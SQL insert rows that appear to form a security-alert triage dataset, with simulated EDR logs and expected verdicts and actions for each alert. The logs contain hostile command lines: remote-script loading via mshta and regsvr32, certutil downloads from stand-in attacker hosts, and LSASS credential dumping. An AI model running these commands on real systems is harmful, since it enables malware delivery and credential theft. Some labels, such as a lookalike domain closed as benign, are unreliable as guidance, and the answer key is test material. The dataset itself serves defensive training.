(2097, 'MSHTA Exploitation for Remote Code Execution Identified', 'high', 'CrowdStrike', 'MSHTA was used to execute a remote script, which can be indicative of an attempt to execute code or download additional malicious payloads.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.4.1\",\"dst_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"hostname\":\"laptop01\",\"command_line\":\"mshta http://exploit-site.com/exploit.html\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP linked to known malicious activity and exploit distribution\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta http://exploit-site.com/exploit.html\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"MSHTA used to execute remote code, common in fileless malware attacks\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"MSHTA is often used in fileless attacks to execute scripts from remote sources, posing a high security risk.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2098, 'Fileless Malware Detected via PowerShell Encoded Command', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using an encoded PowerShell command executed on a compromised host. The attacker attempted to dump credentials from LSASS.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-PC-01\",\"command_line\":\"powershell.exe -enc W3BhdGggdG8gc3VjY2Vzcw==\",\"file_hash\":\"7d1f3b4b7f5d4c3b8d3f2e5a6f7b8c9d\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3BhdGggdG8gc3VjY2Vzcw==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in fileless malware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7d1f3b4b7f5d4c3b8d3f2e5a6f7b8c9d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with multiple malware campaigns.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command suggests a fileless malware attack aimed at credential dumping.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2099, 'Suspicious Lateral Movement via WMI Execution', 'high', 'SentinelOne', 'Detected WMI execution from one internal host to another, indicating potential lateral movement. The command was executed without a legitimate business need.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"wmic /node:192.168.1.20 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source internal IP of WMI execution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination internal IP of WMI execution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.20 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Indicates potential lateral movement activity.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unusual WMI activity suggests an attempt to move laterally within the network.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2100, 'Credential Dumping Detected from LSASS Process', 'critical', 'Carbon Black', 'A process attempting to access LSASS memory was detected, indicative of credential dumping activity.', 'Credential Dumping', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"\",\"username\":\"svc_account\",\"hostname\":\"WORKSTATION-05\",\"command_line\":\"procdump64.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump64.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Procdump used for credential dumping detected.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of procdump to dump LSASS memory is a clear indicator of credential theft.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2101, 'Suspicious Network Activity with CertUtil LOLBin', 'high', 'Sysmon', 'Detected suspicious use of CertUtil to download a potentially malicious file from an external server, indicative of a living-off-the-land attack.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:05:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"user123\",\"hostname\":\"CLIENT-PC-09\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/file.exe C:\\\\temp\\\\file.exe\",\"domain\":\"malicious.example.com\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/file.exe C:\\\\temp\\\\file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil used for malicious file download detected.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of CertUtil to download files from a known malicious domain indicates a potential malware infection attempt.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2102, 'Lateral Movement Attempt via PsExec Tool', 'high', 'Carbon Black', 'PsExec was used to execute a command on a remote host, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1569.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:20:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin_user\",\"hostname\":\"ADMIN-PC-01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.50 -u domain\\\\admin_user cmd.exe /c \\\"dir C:\\\\\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal source IP for PsExec execution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for PsExec execution.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.50 -u domain\\\\admin_user cmd.exe /c \\\"dir C:\\\\\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec used for unauthorized command execution on remote host.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec usage without a legitimate reason suggests an attempt to move laterally and execute commands on remote hosts.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2103, 'Sophisticated Fileless Malware Detected via Encoded PowerShell', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using an encoded PowerShell command. The attacker utilized PowerShell to execute commands directly in memory, avoiding traditional file-based detection.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.5.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"powershell.exe -enc aGVsbG8gd29ybGQ=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple malware attacks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell command indicates an attempt to execute fileless malware, consistent with recent attack patterns.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2104, 'Credential Dumping from LSASS Detected', 'high', 'SentinelOne', 'An attempt to dump credentials from the LSASS process was detected, indicating possible credential theft and lateral movement preparation.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"FINANCE-PC01\",\"command_line\":\"rundll32.exe dump_lsass.dll,Dump\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe dump_lsass.dll,Dump\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with credential dumping\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command to dump LSASS memory was executed, indicating an attempt to extract stored credentials.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2105, 'Lateral Movement via WMI Detected', 'high', 'Carbon Black', 'Suspicious internal WMI activity was detected, suggesting an attacker attempting lateral movement across the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:03:59Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.55\",\"dst_ip\":\"10.0.0.60\",\"username\":\"hacker\",\"hostname\":\"HR-WORKSTATION\",\"command_line\":\"wmic process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of WMI for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI for executing commands on another host is indicative of lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2106, 'Malicious Use of LOLBins Detected with Regsvr32', 'critical', 'Sysmon', 'An attacker used regsvr32 to execute a remote script, indicating a potentially sophisticated attack leveraging LOLBins.', 'Malware', 'T1218.011', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:11:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"10.0.0.15\",\"username\":\"malicious_user\",\"hostname\":\"ENGINEERING-PC\",\"command_line\":\"regsvr32.exe /s /n /u /i:https://malicious.example.com/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:https://malicious.example.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to bypass security controls by executing a remote script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of regsvr32 to execute a remote script suggests a sophisticated attack leveraging living-off-the-land binaries.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2107, 'Unauthorized Internal WMI Execution Detected', 'high', 'Carbon Black', 'Unauthorized WMI commands were executed internally, possibly indicating an attempt for lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:55:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.45\",\"dst_ip\":\"10.0.2.50\",\"username\":\"unauthorized_user\",\"hostname\":\"RESEARCH-LAPTOP\",\"command_line\":\"wmic /node:10.0.2.50 process call create \'powershell -enc aGVsbG8gd29ybGQ=\'\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.2.50 process call create \'powershell -enc aGVsbG8gd29ybGQ=\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command via WMI for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Execution of encoded PowerShell commands via WMI indicates malicious lateral movement activity.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2108, 'Suspicious PowerShell Execution Detected on Internal Network', 'critical', 'CrowdStrike', 'A PowerShell script with encoded commands was executed from an internal host, indicating possible fileless malware activity. This script is known for credential dumping attempts.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.20\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC\",\"command_line\":\"powershell.exe -enc W3Bhc3N3b3JkXQ==\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhc3N3b3JkXQ==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command is indicative of credential dumping activity, a common fileless malware tactic.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2109, 'Lateral Movement Detected via WMI Execution', 'high', 'SentinelOne', 'A WMI command was executed from one internal host to another, indicating potential lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:20Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.6\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"wmic /node:10.0.0.6 process call create \\\"cmd.exe /c whoami\\\"\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source internal IP address used for WMI command\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.6 process call create \\\"cmd.exe /c whoami\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI execution for lateral movement detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"WMI usage for executing commands on another host is a common technique used in lateral movement.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2110, 'Credential Dumping Attempt via LSASS Memory Access', 'critical', 'Carbon Black', 'Suspicious access to LSASS memory detected, potentially aimed at credential dumping using living-off-the-land techniques.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:10:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.25\",\"username\":\"svc_account\",\"hostname\":\"CORP-SERVER\",\"command_line\":\"procdump.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with LSASS memory access\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"procdump.exe -ma lsass.exe C:\\\\temp\\\\lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used for dumping LSASS memory\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Dumping LSASS memory is a known technique for extracting credentials from Windows systems.\"}', 'Advanced', 'EDR', 7, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2111, 'Fileless Malware Execution via LOLBin - CertUtil', 'high', 'Sysmon', 'CertUtil.exe was used to download and execute a malicious payload, indicating a possible fileless malware attack using living-off-the-land techniques.', 'Malware', 'T1218.010', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.2\",\"dst_ip\":\"external.attacker.com\",\"username\":\"user123\",\"hostname\":\"WORKSTATION-02\",\"command_line\":\"certutil.exe -urlcache -split -f http://external.attacker.com/malware.exe C:\\\\Users\\\\user123\\\\malware.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"external.attacker.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://external.attacker.com/malware.exe C:\\\\Users\\\\user123\\\\malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"CertUtil used for downloading and executing malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"CertUtil is a known LOLBin used for downloading and executing malware without writing to disk.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2112, 'Regsvr32 Usage for Malicious Script Execution', 'critical', 'CrowdStrike', 'Regsvr32 was used to execute a remotely hosted script, indicating a possible fileless malware attack utilizing LOLBins.', 'Malware', 'T1218.011', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.100\",\"username\":\"malicious_user\",\"hostname\":\"TARGET-01\",\"command_line\":\"regsvr32.exe /s /n /u /i:http://malicious.site/script.sct scrobj.dll\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing suspicious commands\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"http://malicious.site/script.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known malicious domain hosting scripts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:http://malicious.site/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute remote script\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 is a LOLBin that can be used to execute remote scripts without writing them to disk.\"}', 'Advanced', 'EDR', 7, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2113, 'Fileless Malware Detected via PowerShell Execution', 'critical', 'CrowdStrike', 'PowerShell executed with encoded payload, indicative of fileless malware. Credential dumping activity detected shortly after.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:34:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.10.10.20\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"powershell -enc W2J5dGVbXS5BZGQoW0NvbnZlcnQpJzEnLCdzJyk=\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address indicating a compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc W2J5dGVbXS5BZGQoW0NvbnZlcnQpJzEnLCdzJyk=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell command with encoded payload linked to fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are a common indicator of fileless malware.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, NULL, 0),
(2114, 'Suspicious Internal Network Activity via CertUtil', 'medium', 'Carbon Black', 'Unusual use of CertUtil detected from an internal host, appeared to download a file from a known internal server.', 'Lateral Movement', 'T1140', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"asmith\",\"hostname\":\"LAPTOP-4D5E6F\",\"command_line\":\"certutil -urlcache -split -f http://192.168.1.20/file.exe\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address for a benign user action\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil -urlcache -split -f http://192.168.1.20/file.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"CertUtil usage for file download from a verified internal server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"CertUtil was used legitimately for internal file transfer.\"}', 'Advanced', 'EDR', 7, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2115, 'Potential Phishing Email Detected with Spoofed Domain', 'high', 'Proofpoint', 'Email received from a domain closely resembling a trusted partner, containing a link to a suspicious URL.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.56\",\"dst_ip\":\"192.168.1.25\",\"username\":\"rwhite\",\"hostname\":\"MAILSERVER-1\",\"email_sender\":\"admin@trustedpartn3r.com\",\"url\":\"http://malicious-link.example.com\"}', '2026-03-16 03:19:16', '2026-03-16 03:19:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"admin@trustedpartn3r.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain resembles trusted partner but is not recognized\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"URL not flagged by any engines as malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Upon investigation, the sender\'s domain was found to be a legitimate typo domain, but the URL was clean.\"}', 'Advanced', 'EDR', 7, 1, 'RETAIL', NULL, NULL, NULL, 0);
